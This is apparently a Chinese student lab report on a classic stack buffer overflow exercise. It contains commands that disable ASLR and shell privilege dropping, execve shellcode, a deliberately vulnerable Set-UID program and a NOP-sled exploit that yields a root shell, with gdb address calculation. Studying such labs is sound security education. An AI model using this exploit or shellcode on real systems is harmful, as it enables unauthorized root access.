實驗樓緩衝區溢出實驗報告

實驗樓緩衝區溢出

1、初始設置

一、關閉隨機化堆和棧的初始地址

Ubuntu和其餘一些Linux系統中，使用地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜想準確的內存地址變得十分困難，而猜想內存地址是緩衝區溢出攻擊的關鍵。所以本次實驗中，咱們使用如下命令關閉這一功能：

$sudo sysctl -w kernel.randomize_va_space=0

二、保持shell的root權限

爲了進一步防範緩衝區溢出攻擊及其它利用shell程序的攻擊，許多shell程序在被調用時自動放棄它們的特權。所以，即便你能欺騙一個Set-UID程序調用一個shell，也不能在這個shell中保持root權限，這個防禦措施在/bin/bash中實現。

linux系統中，/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連接。爲了重現這一防禦措施被實現以前的情形，咱們使用另外一個shell程序（zsh）代替/bin/bash。下面的指令描述瞭如何設置zsh程序：

$sudo su
$cd /bin
$rm sh
$ln -s zsh sh
$exit

三、運行截圖

2、ShellCode

一、shellcode

通常狀況下，緩衝區溢出會形成程序崩潰，在程序中，溢出的數據覆蓋了返回地址。而若是覆蓋返回地址的數據是另外一個地址，那麼程序就會跳轉到該地址，若是該地址存放的是一段精心設計的代碼用於實現其餘功能，這段代碼就是shellcode。觀察如下代碼：

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次實驗的shellcode，就是剛纔代碼的彙編版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

二、代碼解釋

a、execve函數

int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

execve()用來執行參數filename字符串所表明的文件路徑，第二個參數是利用指針數組來傳遞給執行文件，而且須要以空指針(NULL)結束，最後一個參數則爲傳遞給執行文件的新環境變量數組。

b、shellcode彙編形式詳解

0x08048ea4 <+0>:  push   %ebp
   0x08048ea5 <+1>: mov    %esp,%ebp
   0x08048ea7 <+3>: and    $0xfffffff0,%esp
   0x08048eaa <+6>: sub    $0x20,%esp
   0x08048ead <+9>: movl   $0x80c8508,0x18(%esp)
   0x08048eb5 <+17>:    movl   $0x0,0x1c(%esp)
   0x08048ebd <+25>:    mov    0x18(%esp),%eax
   0x08048ec1 <+29>:    movl   $0x0,0x8(%esp)
   0x08048ec9 <+37>:    lea    0x18(%esp),%edx
   0x08048ecd <+41>:    mov    %edx,0x4(%esp)
   0x08048ed1 <+45>:    mov    %eax,(%esp)
   0x08048ed4 <+48>:    call   0x8053890 <execve>
   0x08048ed9 <+53>:    leave  
   0x08048eda <+54>:    ret

從上面彙編程序能夠看出：

execve(name[0],name,NULL);

觸發了系統調用：

0x08048ed4 <+48>:   call   0x8053890 <execve>

而execve系統調用的彙編程序：

0x08053891 <+1>:    mov    0x10(%esp),%edx0x080555c0
0x08053895 <+5>:    mov    0xc(%esp),%ecx
0x08053899 <+9>:    mov    0x8(%esp),%ebx
0x0805389d <+13>:   mov    $0xb,%eax
0x080538a2 <+18>:   call   *0x80f55a8

繼續追蹤，查看0x80f55a8內容，(x /1xw0x80f55a8),發現內存地址是：0x080555c0；好的，繼續查看0x080555c0裏面的內容：(x /1i 0x080555c0)發現：

0x80555c0 <_dl_sysinfo_int80>:  int    $0x80

execve(name[0],name,NULL);就是調用了系統的80號中斷，並且功能號是：eax=0xb；根據系統提供的中斷號的知識：觸發80號中斷時，eax放功能號，eax,ebx,edx,esi,edi這五個寄存器依次存放提供的功能的參數；當調用參數>5時，功能號放eax,參數依次存入一塊連續的內存區域，且ebx存放這段內存起始地址，返回值依然放到eax；

參考博客：https://blog.csdn.net/u010651541/article/details/49913029?utm_source=copy

3、漏洞程序

把如下代碼保存爲「stack.c」文件，保存到 /tmp 目錄下。代碼以下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(char *str)
{
char buffer[12];
 
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
 
return 1;
}
 
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

經過代碼能夠知道，程序會讀取一個名爲「badfile」的文件，並將文件內容裝入「buffer」。

編譯該程序，並設置SET-UID。命令以下：

$sudo su
$gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$chmod u+s stack
$exit

GCC編譯器有一種棧保護機制來阻止緩衝區溢出，因此咱們在編譯代碼時須要用 –fno-stack-protector 關閉這種機制。

而 -z execstack 用於容許執行棧。

4、攻擊程序

一、攻擊程序代碼

咱們的目的是攻擊剛纔的漏洞程序，並經過攻擊得到root權限。

把如下代碼保存爲「exploit.c」文件，保存到 /tmp 目錄下。代碼以下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
char shellcode[]=
 
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;
 
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
 
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
 
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
 
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

二、地址計算

注意上面的代碼，「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址，由於發生溢出後這個位置恰好能夠覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴咱們，shellcode保存在 buffer+100 的位置。

如今咱們要獲得shellcode在內存中的地址，輸入命令：

$gdb stack
disass main

其中disass命令用於查看彙編代碼，運行結果截圖以下：

進行斷點操做，其中i r命令用於查看寄存器地址：

根據語句 strcpy(buffer + 100,shellcode); 咱們計算 shellcode 的地址爲 0xffffd060(十六進制) + 0x64(100的十六進制) = 0xffffd0c4(十六進制)

如今修改exploit.c文件！將 \x??\x??\x??\x?? 修改成 \xc4\xd0\xff\xff

（與實驗樓示例結果有所不一樣，可見須要本身實際操做，進行計算）

而後，編譯exploit.c程序：

$gcc -m32 -o exploit exploit.c

5、實驗結果

一、關閉隨機化初始地址與保持shell權限

先運行攻擊程序exploit，再運行漏洞程序stack，觀察結果：得到了root權限

二、開啓隨機化初始地址與保持shell權限

提示段錯誤，說明地址計算錯誤，初始地址沒法預估致使

三、關閉隨機化初始地址與不保持shell權限

依然可以得到root權限，說明該實驗中的shell程序防範措施並不到位。

6、實驗總結與心得

一、彙編知識掌握依然不是很熟練，只能跟着步驟作，本身寫shellcode計算地址等存在困難，還須要再度複習彙編知識。

二、一些代碼理解須要藉助外界資料幫助，還須要進一步學習。

三、Linux系統瞭解不夠深入，許多保護機制等知識須要累積，慢慢增加本身的知識儲備量，加深對系統的理解。